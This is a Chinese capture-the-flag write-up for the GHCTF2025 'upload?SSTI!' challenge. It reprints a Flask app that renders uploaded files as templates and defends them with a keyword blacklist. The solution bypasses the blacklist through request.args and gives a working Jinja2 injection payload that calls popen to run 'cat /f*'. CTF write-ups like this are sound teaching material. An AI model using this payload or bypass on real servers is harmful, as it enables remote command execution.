GHCTF2025 upload?SSTI! 题解

322次阅读
没有评论

共计3896个字符,预计需要花费10分钟才能阅读完成。

题目

题目给了源码:

import os
import re

from flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filename

app = Flask(__name__)

# 配置信息
UPLOAD_FOLDER = 'static/uploads'  # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024  # 限制上传大小为 16MB

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH

# 创建上传目录(如果不存在)os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):
    return os.path.commonpath([basedir,path])

def contains_dangerous_keywords(file_path):
    dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]

    with open(file_path, 'rb') as f:
        file_content = str(f.read())

        for keyword in dangerous_keywords:
            if keyword in file_content:
                return True  # 找到危险关键字,返回 True

    return False  # 文件内容中没有危险关键字
def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        # 检查是否有文件被上传
        if 'file' not in request.files:
            return jsonify({"error": " 未上传文件 "}), 400

        file = request.files['file']

        # 检查是否选择了文件
        if file.filename == '':
            return jsonify({"error": " 请选择文件 "}), 400

        # 验证文件名和扩展名
        if file and allowed_file(file.filename):
            # 安全处理文件名
            filename = secure_filename(file.filename)
            # 保存文件
            save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
            file.save(save_path)

            # 返回文件路径(绝对路径)return jsonify({
                "message": "File uploaded successfully",
                "path": os.path.abspath(save_path)
            }), 200
        else:
            return jsonify({"error": " 文件类型错误 "}), 400

    # GET 请求显示上传表单(可选)return '''
    <!doctype html>
    <title>Upload File</title>
    <h1>Upload File</h1>
    <form method=post enctype=multipart/form-data>
      <input type=file name=file>
      <input type=submit value=Upload>
    </form>
    '''

@app.route('/file/<path:filename>')
def view_file(filename):
    try:
        # 1. 过滤文件名
        safe_filename = secure_filename(filename)
        if not safe_filename:
            abort(400, description=" 无效文件名 ")

        # 2. 构造完整路径
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)

        # 3. 路径安全检查
        if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
            abort(403, description=" 禁止访问的路径 ")

        # 4. 检查文件是否存在
        if not os.path.isfile(file_path):
            abort(404, description=" 文件不存在 ")

        suffix=os.path.splitext(filename)[1]
        print(suffix)
        if suffix==".jpg" or suffix==".png" or suffix==".gif":
            return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')

        if contains_dangerous_keywords(file_path):
            # 删除不安全的文件
            os.remove(file_path)
            return jsonify({"error": "Waf!!!!"}), 400

        with open(file_path, 'rb') as f:
            file_data = f.read().decode('utf-8')
        tmp_str = """<!DOCTYPE html>
        <html lang="zh">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title> 查看文件内容 </title>
        </head>
        <body>
            <h1> 文件内容:{name}</h1>  <!-- 显示文件名 -->
            <pre>{data}</pre>  <!-- 显示文件内容 -->

            <footer>
                <p>© 2025 文件查看器 </p>
            </footer>
        </body>
        </html>
        """.format(name=safe_filename, data=file_data)

        return render_template_string(tmp_str)

    except Exception as e:
        app.logger.error(f" 文件查看失败: {str(e)}")
        abort(500, description=" 文件查看失败:{} ".format(str(e)))

# 错误处理(可选)@app.errorhandler(404)
def not_found(error):
    return {"error": error.description}, 404

@app.errorhandler(403)
def forbidden(error):
    return {"error": error.description}, 403

if __name__ == '__main__':
    app.run("0.0.0.0",debug=False)

思路

读源码可以分析,上传的文件渲染的时候会出现 模板注入 漏洞。允许上传的文件类型还挺多,我们试试上传 md 文件。

GHCTF2025 upload?SSTI! 题解

然后访问http://node2.anna.nssctf.cn:28138/file/test.md(见源码路径),有回显:

GHCTF2025 upload?SSTI! 题解

但是源码 dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',] 屏蔽了这些关键字,但是没有屏蔽 request,我们直接用request.args.xxx 获得 xxx 的值,这样可以绕过。

我们将文件内容改成 ()[request.args.class],然后用GET 传入class=__class__,这就相当于执行了().__class__。没问题:

GHCTF2025 upload?SSTI! 题解

屏蔽了 flag 关键词,咱们这样绕过:cat /f*

解题

研究明白就好办了,原始 Payload 是:

"".__class__.__base__.__subclasses__()[138].__init__.__globals__["popen"]("cat /flag").read()

将屏蔽的词改掉,最终 Payload

{{""[request.args.class][request.args.base][request.args.subclass]()[137][request.args.init][request.args.global]["popen"]("cat /f*").read()}}

并且传入GET

class=__class__&base=__base__&subclass=__subclasses__&init=__init__&global=__globals__

完成!

GHCTF2025 upload?SSTI! 题解
正文完
 0
评论(没有评论)
验证码
zh_CN简体中文